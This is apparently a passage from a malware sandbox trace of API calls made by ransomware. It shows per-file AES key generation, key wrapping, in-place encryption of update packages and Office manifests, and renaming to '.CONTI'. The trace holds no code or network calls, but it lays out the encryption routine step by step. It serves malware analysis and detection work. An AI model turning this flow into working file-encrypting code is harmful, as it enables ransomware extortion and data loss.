	[0094.256] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bffc0 | out: hHeap=0x1720000) returned 1
	[0094.256] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0094.987] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x17c7f70) returned 1
	[0094.987] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x4fbf86c | out: pbData=0x17c4a2c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0094.988] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0094.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.988] GetLastError () returned 0x0
	[0094.988] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=5091790) returned 1
	[0094.988] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4db1ce
	[0094.988] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.988] SetEndOfFile (hFile=0x320) returned 1
	[0094.988] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.988] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.988] WriteFile (in: hFile=0x320, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0094.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.999] ReadFile (in: hFile=0x320, lpBuffer=0xe980000, nNumberOfBytesToRead=0x4db1ce, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x4db1ce, lpOverlapped=0x0) returned 1
	[0097.205] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4db1ce, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x4db1d0) returned 1
	[0097.211] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.211] WriteFile (in: hFile=0x320, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x4db1d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x4db1d0, lpOverlapped=0x0) returned 1
	[0098.444] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.444] WriteFile (in: hFile=0x320, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0098.444] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.444] CloseHandle (hObject=0x320) returned 1
	[0102.513] GetProcessHeap () returned 0x1720000
	[0102.513] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0102.513] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu"
	[0102.513] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.CONTI") returned="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.CONTI"
	[0102.513] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.CONTI" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.conti")) returned 1
	[0103.472] GetProcessHeap () returned 0x1720000
	[0103.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.472] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.472] GetProcessHeap () returned 0x1720000
	[0103.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740898 | out: hHeap=0x1720000) returned 1
	[0103.472] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.472] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c7f70) returned 1
	[0103.472] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x4fbf86c | out: pbData=0x17d2694*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.473] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.576] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.578] GetLastError () returned 0x0
	[0103.578] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=36750) returned 1
	[0103.578] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8f8e
	[0103.578] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.583] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.583] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.583] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.584] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.610] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.610] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x8f8e, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x8f8e, lpOverlapped=0x0) returned 1
	[0103.612] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x8f8e, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x8f90) returned 1
	[0103.612] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.612] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x8f90, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x8f90, lpOverlapped=0x0) returned 1
	[0103.612] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.612] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.612] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.612] CloseHandle (hObject=0x2f8) returned 1
	[0103.614] GetProcessHeap () returned 0x1720000
	[0103.614] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.614] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml"
	[0103.614] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.CONTI"
	[0103.614] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.657] GetProcessHeap () returned 0x1720000
	[0103.657] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.657] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.657] GetProcessHeap () returned 0x1720000
	[0103.657] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf628 | out: hHeap=0x1720000) returned 1
	[0103.657] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.657] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x17c8470) returned 1
	[0103.657] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x4fbf86c | out: pbData=0x17c4354*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.658] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.658] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.658] GetLastError () returned 0x0
	[0103.658] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=94612) returned 1
	[0103.658] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17194
	[0103.658] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.658] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.658] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.658] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.658] WriteFile (in: hFile=0x2f8, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.663] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.664] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x17194, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x17194, lpOverlapped=0x0) returned 1
	[0103.669] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x17194, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x171a0) returned 1
	[0103.669] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.669] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x171a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x171a0, lpOverlapped=0x0) returned 1
	[0103.669] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.669] WriteFile (in: hFile=0x2f8, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.669] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.670] CloseHandle (hObject=0x2f8) returned 1
	[0103.670] GetProcessHeap () returned 0x1720000
	[0103.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.670] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml"
	[0103.670] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.CONTI"
	[0103.670] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.675] GetProcessHeap () returned 0x1720000
	[0103.675] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.675] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.675] GetProcessHeap () returned 0x1720000
	[0103.675] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1dc0 | out: hHeap=0x1720000) returned 1
	[0103.675] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.675] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17e7b58 | out: phKey=0x17e7b58*=0x17c8370) returned 1
	[0103.675] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7b5c, pdwDataLen=0x4fbf86c | out: pbData=0x17e7b5c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.676] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.686] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.686] GetLastError () returned 0x0
	[0103.686] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=103844) returned 1
	[0103.686] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x195a4
	[0103.687] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.687] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.689] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.689] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.689] WriteFile (in: hFile=0x2f8, lpBuffer=0x17e7b5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17e7b5c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.696] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.696] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x195a4, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x195a4, lpOverlapped=0x0) returned 1
	[0103.697] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x195a4, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x195b0) returned 1
	[0103.698] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.698] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x195b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x195b0, lpOverlapped=0x0) returned 1
	[0103.698] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.698] WriteFile (in: hFile=0x2f8, lpBuffer=0x17e7b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17e7b50*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.698] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.698] CloseHandle (hObject=0x2f8) returned 1
	[0103.699] GetProcessHeap () returned 0x1720000
	[0103.699] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6555f58
	[0103.699] lstrcpyW (in: lpString1=0x6555f58, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml"
	[0103.699] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.CONTI"
	[0103.699] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.705] GetProcessHeap () returned 0x1720000
	[0103.705] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.705] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0103.705] GetProcessHeap () returned 0x1720000
